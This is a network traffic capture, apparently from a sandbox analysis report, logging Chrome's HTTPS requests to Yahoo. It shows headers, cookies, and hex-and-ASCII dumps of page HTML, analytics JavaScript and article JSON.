64 73 53 Data Ascii: eAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsS
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 61 73 2d 61 74 74 72 2d 70 72 6f 76 69 64 65 72 2d 6c 6f 67 6f 5c 22 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 61 70 6e 65 77 73 2e 63 6f 6d 2f 20 20 72 65 6c 3d 5c 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 5c 22 20 74 61 72 67 65 74 3d 5f 62 6c 61 6e 6b 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 73 65 63 3a 6c 6f 67 6f 2d 70 72 6f 76 69 64 65 72 3b 65 6c 6d 3a 6c 6f 67 6f 3b 73 6c 6b 3a 41 73 73 6f 63 69 61 74 65 64 20 50 72 65 73 73 3b 69 74 63 3a 30 3b 67 3a 5c 22 3e 3c 69 6d 67 20 63 6c 61 73 73 3d 63 61 61 73 2d 69 6d 67 20 61 6c 74 3d 5c 22 41 73 73 6f 63 69 61 74 65 64 20 50 72 65 73 73 5c 22 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6e 79 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 43 61 35 4f 37 55 30 64 36 7a Data Ascii: as-attr-provider-logo\" href=https://apnews.com/ rel=\"noopener noreferrer\" target=_blank data-ylk=\"sec:logo-provider;elm:logo;slk:Associated Press;itc:0;g:\"><img class=caas-img alt=\"Associated Press\" src=https://s.yimg.com/ny/api/res/1.2/Ca5O7U0d6z
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 6d 69 6e 73 2d 72 65 61 64 3e 33 20 6d 69 6e 20 72 65 61 64 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 2d 73 68 61 72 65 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 61 61 73 2d 73 68 61 72 65 2d 73 65 63 74 69 6f 6e 20 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 73 68 61 72 65 2d 62 75 74 74 6f 6e 73 3e 3c 61 20 63 6c 61 73 73 3d 5c 22 6c 69 6e 6b 20 72 61 70 69 64 2d 6e 6f 63 6c 69 63 6b 2d 72 65 73 70 20 63 61 61 73 2d 62 75 74 74 6f 6e 20 6e 6f 62 6f 72 64 65 72 20 63 61 61 73 2d 74 6f 6f 6c 74 69 70 20 66 6c 69 63 6b 72 43 6f 6d 6d 65 6e 74 20 63 61 61 Data Ascii: span class=caas-attr-mins-read>3 min read</span></div></div></div><div class=caas-content-contain-share><div class=\"caas-share-section \"><div class=caas-share-buttons><a class=\"link rapid-noclick-resp caas-button noborder caas-tooltip flickrComment caa
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 74 65 6e 74 2d 62 79 6c 69 6e 65 2d 77 72 61 70 70 65 72 20 64 61 74 61 2d 79 6c 6b 3d 73 6c 6b 3a 73 68 61 72 65 2d 6d 65 6e 75 2d 6f 70 65 6e 3b 65 6c 6d 3a 73 68 61 72 65 3b 73 65 63 3a 63 6f 6e 73 6f 6c 69 64 61 74 65 64 2d 73 68 61 72 65 2d 70 6f 70 75 70 3b 73 75 62 73 65 63 3a 67 72 61 64 65 3b 69 74 63 3a 31 20 61 72 69 61 2d 6c 61 62 65 6c 3d 53 68 61 72 65 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 61 72 72 6f 77 55 70 41 6e 64 4f 75 74 20 69 63 6f 6e 5c 22 3e 3c 73 76 67 20 77 69 64 74 68 3d 31 36 20 68 65 69 67 68 74 3d 31 36 20 76 69 65 77 42 6f 78 3d 5c 22 30 20 30 20 32 34 20 32 34 5c 22 3e 3c 70 61 74 68 20 64 3d 5c 22 4d 32 31 20 31 34 2e 39 38 39 61 31 20 31 20 30 20 30 20 31 20 31 20 31 76 35 2e 39 39 39 61 31 20 31 20 30 20 30 20 31 Data Ascii: tent-byline-wrapper data-ylk=slk:share-menu-open;elm:share;sec:consolidated-share-popup;subsec:grade;itc:1 aria-label=Share><span class=\"arrowUpAndOut icon\"><svg width=16 height=16 viewBox=\"0 0 24 24\"><path d=\"M21 14.989a1 1 0 0 1 1 1v5.999a1 1 0 0 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49845	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	539	OUT	GET /aaq/wf/wf-rapid-1.10.8-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	803	IN	HTTP/1.1 200 OK x-amz-id-2: 5fyVq7vrCiGjT2TWPH/aDGvtOYmGscjq50gvYJSYF6Zqiuk6Xw9f6g6PfAzmivnooQ1ErsizT5s= x-amz-request-id: 24BZRK3ZN0P6WX7R Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Thu, 16 Nov 2023 07:51:34 GMT ETag: "ea64a20375abf74f7191d89062a7d4f4" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: Q69wD21Xmgx79j1lWnoee6Lougj4LC2V Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 12647 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 72 61 70 69 64 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 72 61 70 69 64 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-rapid",[],t):"object"==typeof exports?exports["wafer-rapid"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 Data Ascii: totype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a f
2024-01-10 23:27:11 UTC	1087	IN	Data Raw: 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6e 29 26 26 28 65 5b 6e 5d 3d 72 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 2c 6e 3d 21 30 2c 69 3d 21 31 2c 61 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 6f 2c 73 3d 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 6e 3d 28 6f 3d 73 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 72 2e 70 75 73 68 28 6f 2e 76 61 6c 75 65 29 2c 21 74 7c 7c 72 2e 6c 65 6e 67 74 Data Ascii: ngth;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},g=function(){function e(e,t){var r=[],n=!0,i=!1,a=void 0;try{for(var o,s=e[Symbol.iterator]();!(n=(o=s.next()).done)&&(r.push(o.value),!t\|\|r.lengt
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 7b 7d 2c 61 3d 72 2e 73 65 6c 65 63 74 6f 72 3b 6e 28 74 68 69 73 2c 74 29 3b 76 61 72 20 6f 3d 69 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 7b 73 65 6c 65 63 74 6f 72 3a 61 7d 2c 7b 53 54 41 54 45 5f 41 54 54 52 53 3a 45 7d 29 29 2c 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 49 2b 22 72 61 70 69 64 2d 74 72 69 67 67 65 72 22 29 3b 69 66 28 21 73 29 72 65 74 75 72 6e 20 69 28 6f 29 3b 76 61 72 20 6c 3d 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 49 2b 22 72 61 70 69 64 2d 74 72 69 67 67 65 72 2d 6f 66 66 73 65 74 22 29 7c 7c 22 22 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 67 28 6c 2c 32 29 2c 75 3d 63 5b 30 5d Data Ascii: {},a=r.selector;n(this,t);var o=i(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,e,{selector:a},{STATE_ATTRS:E})),s=e.getAttribute(I+"rapid-trigger");if(!s)return i(o);var l=(e.getAttribute(I+"rapid-trigger-offset")\|\|"").split(" "),c=g(l,2),u=c[0]
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 3b 69 66 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 72 3d 74 2e 65 6c 65 6d 2c 6e 3d 74 2e 6e 61 6d 65 2c 69 3d 74 2e 74 72 69 67 67 65 72 2c 61 3d 74 2e 74 72 69 67 67 65 72 4d 65 74 68 6f 64 2c 6f 3d 74 2e 70 6f 73 2c 73 3d 6e 5b 74 68 69 73 2e 5f 73 74 61 74 65 2e 69 6e 56 69 65 77 43 6f 75 6e 74 7c 7c 30 5d 2c 6c 3d 4f 28 72 29 3b 69 66 28 22 62 65 61 63 6f 6e 43 6c 69 63 6b 22 3d 3d 3d 61 29 65 2e 62 65 61 63 6f 6e 43 6c 69 63 6b 28 6c 2e 73 65 63 2c 6c 2e 73 6c 6b 2c 6f 2c 6c 29 3b 65 6c 73 65 20 69 66 28 22 62 65 61 63 6f 6e 45 76 65 6e 74 22 3d 3d 3d 61 29 7b 76 61 72 20 63 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 3b 62 2e 65 6d 69 74 4c 6f 67 28 7b 6e 61 6d 65 3a 22 57 61 66 65 72 52 61 70 69 64 22 2c 65 6c 65 6d 3a 63 Data Ascii: ;if(e){var t=this._util,r=t.elem,n=t.name,i=t.trigger,a=t.triggerMethod,o=t.pos,s=n[this._state.inViewCount\|\|0],l=O(r);if("beaconClick"===a)e.beaconClick(l.sec,l.slk,o,l);else if("beaconEvent"===a){var c=this._util.elem;b.emitLog({name:"WaferRapid",elem:c
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 20 65 3d 74 68 69 73 2e 5f 73 74 61 74 65 2c 74 3d 65 2e 64 69 64 4c 6f 63 6b 2c 72 3d 65 2e 69 6e 56 69 65 77 54 69 6d 65 6f 75 74 49 6e 73 74 61 6e 63 65 3b 21 74 26 26 72 26 26 28 56 28 72 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 69 6e 56 69 65 77 54 69 6d 65 6f 75 74 49 6e 73 74 61 6e 63 65 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 69 6e 56 69 65 77 43 6f 75 6e 74 3d 30 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 68 61 73 2d 72 61 70 69 64 2d 63 6c 69 63 6b 22 29 26 26 74 68 69 73 2e 5f 62 65 61 63 6f 6e 54 72 69 67 67 65 72 28 29 7d 7d 2c 7b 6b 65 79 3a 22 Data Ascii: e=this._state,t=e.didLock,r=e.inViewTimeoutInstance;!t&&r&&(V(r),this._state.inViewTimeoutInstance=null,this._state.inViewCount=0)}},{key:"handleClick",value:function(){this._util.elem.classList.contains("has-rapid-click")&&this._beaconTrigger()}},{key:"
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6e 29 26 26 28 65 5b 6e 5d 3d 72 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 72 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2e 6b 65 79 2c 6e 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c Data Ascii: ototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},x=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 65 74 28 65 29 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 69 3d 6e 2e 69 6e 73 74 61 6e 63 65 2c 61 3d 69 2e 5f 75 74 69 6c 2e 74 72 69 67 67 65 72 3b 69 66 28 72 2e 64 65 6c 65 74 65 28 69 29 2c 21 65 2e 69 64 26 26 61 29 72 65 74 75 72 6e 21 31 3b 69 66 28 21 65 2e 69 64 26 26 21 61 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6f 3d 70 28 29 3b 69 66 28 21 6f 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 73 3d 58 28 65 29 2c 6c 3d 73 2e 69 64 3b 72 65 74 75 72 6e 20 6f 2e 69 73 4d 6f 64 75 6c 65 54 72 61 63 6b 65 64 28 6c 29 26 26 6f 2e 72 65 6d 6f 76 65 4d 6f 64 75 6c 65 28 6c 29 2c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 72 61 70 69 64 2d 74 72 61 63 6b 65 64 22 29 2c 21 30 7d 2c 48 3d 66 75 6e 63 74 69 Data Ascii: et(e);if(!n)return!1;var i=n.instance,a=i._util.trigger;if(r.delete(i),!e.id&&a)return!1;if(!e.id&&!a)return!1;var o=p();if(!o)return!1;var s=X(e),l=s.id;return o.isModuleTracked(l)&&o.removeModule(l),e.classList.remove("wafer-rapid-tracked"),!0},H=functi
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 72 6f 6c 6c 54 6f 70 3d 65 3c 3d 30 3f 30 3a 65 2c 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 28 7b 73 63 72 6f 6c 6c 44 69 72 65 63 74 69 6f 6e 3a 74 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 52 65 73 69 7a 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 6d 61 70 4f 66 66 73 65 74 28 29 2c 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 73 79 6e 63 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 52 28 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 73 79 6e 63 22 2c 74 68 Data Ascii: rollTop=e<=0?0:e,this._validateWithThrottle({scrollDirection:t})}},{key:"handleResize",value:function(){this._mapOffset(),this._validateWithThrottle()}},{key:"sync",value:function(e){if(R(t.prototype.__proto__\|\|Object.getPrototypeOf(t.prototype),"sync",th
2024-01-10 23:27:11 UTC	1160	IN	Data Raw: 58 3a 6f 2c 6f 66 66 73 65 74 59 3a 73 7d 2c 53 2e 76 69 65 77 70 6f 72 74 29 29 7b 69 66 28 61 2e 68 61 73 28 72 29 29 72 65 74 75 72 6e 3b 61 2e 73 65 74 28 72 2c 65 29 2c 72 2e 6e 6f 64 65 49 6e 56 69 65 77 28 29 7d 65 6c 73 65 20 72 2e 6e 6f 64 65 4f 75 74 4f 66 56 69 65 77 28 29 7d 7d 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 64 65 73 74 72 6f 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 76 6f 69 64 20 52 28 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 64 65 73 74 72 6f 79 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 76 61 72 20 72 3d 74 68 69 73 2e 5f 73 74 61 Data Ascii: X:o,offsetY:s},S.viewport)){if(a.has(r))return;a.set(r,e),r.nodeInView()}else r.nodeOutOfView()}})}}},{key:"destroy",value:function(e){if(!e)return void R(t.prototype.__proto__\|\|Object.getPrototypeOf(t.prototype),"destroy",this).call(this);var r=this._sta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49843	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	1736	OUT	GET /caas/content/article/?uuid=38e4b189-858a-3337-8105-11ad07095256,13c5b235-4dae-31a9-907f-135cdada812d,ce810da6-ac2a-33d8-9f13-869ced0eec5c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:11 UTC	1267	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 130777 etag: W/"1fed9-XV451+CsjeNU2JzOqprBR9iiwso" vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:11 GMT x-envoy-upstream-service-time: 35 server: ATS Age: 0 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=6bnii69ipu9uf&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Referrer-Policy: no-referrer-when-downgrade Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 6e 65 77 73 3b 6e 6f 2d 68 72 65 66 6c 61 6e 67 3b 63 65 6c 65 62 72 69 74 69 65 73 3b 65 6e 74 65 72 74 61 69 6e 6d 65 6e 74 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 61 36 54 30 30 30 30 30 52 30 48 52 5a 51 41 33 3b 72 65 76 73 70 3a 67 6f 6f 64 5f 68 6f 75 73 65 6b 65 65 70 69 6e 67 5f 35 36 31 3b 6c 70 73 74 61 69 64 3a 33 38 65 34 62 31 38 39 2d 38 35 38 61 2d 33 33 33 37 2d 38 31 30 35 2d 31 31 61 64 30 37 30 39 35 32 Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"news;no-hreflang;celebrities;entertainment","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0a6T00000R0HRZQA3;revsp:good_housekeeping_561;lpstaid:38e4b189-858a-3337-8105-11ad070952
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 79 22 2c 22 65 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 4c 69 73 74 22 3a 22 35 64 35 35 62 66 32 37 2d 35 38 36 61 2d 34 38 61 33 2d 38 62 37 36 2d 66 65 39 66 36 37 39 36 61 30 30 63 22 2c 22 65 6e 74 69 74 69 65 73 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 4b 61 6c 65 79 5f 43 75 6f 63 6f 22 2c 22 6c 61 62 65 6c 22 3a 22 4b 61 6c 65 79 20 43 75 6f 63 6f 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 39 39 35 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 69 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 32 36 35 2c 22 65 6e 64 63 68 61 72 22 3a 32 37 35 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 22 61 22 2c 22 73 74 72 6f 6e 67 22 2c 22 74 69 74 6c 65 22 2c 22 66 Data Ascii: y","editorialPicksList":"5d55bf27-586a-48a3-8b76-fe9f6796a00c","entities":[{"term":"WIKIID:Kaley_Cuoco","label":"Kaley Cuoco","capAbtScore":"0.995","metaData":[{"visible":"false"}],"startchar":265,"endchar":275,"specialParentTags":["a","strong","title","f
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 73 68 75 74 2d 64 6f 77 6e 2d 6a 69 6d 6d 79 2d 31 37 32 34 30 30 30 31 38 2e 68 74 6d 6c 22 2c 22 68 61 73 53 63 72 69 62 62 6c 65 22 3a 66 61 6c 73 65 2c 22 68 61 73 53 6c 69 63 6b 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c 22 68 61 73 58 72 61 79 53 69 64 65 52 61 69 6c 22 3a 66 61 6c 73 65 2c 22 68 65 72 6f 4d 6f 64 75 6c 65 22 3a 7b 7d 2c 22 68 69 64 65 41 6c 6c 41 64 73 22 3a 66 61 6c 73 65 2c 22 68 6f 73 74 65 64 54 79 70 65 22 3a 22 68 6f 73 74 65 64 22 2c 22 68 72 65 66 4c 61 6e 67 73 22 3a 5b 5d 2c 22 69 73 42 72 61 6e 64 65 64 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 43 6f 6d 6d 65 6e 74 73 45 6c 69 67 69 62 6c 65 22 3a 66 61 6c 73 65 2c 22 69 73 43 72 65 61 74 6f 72 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 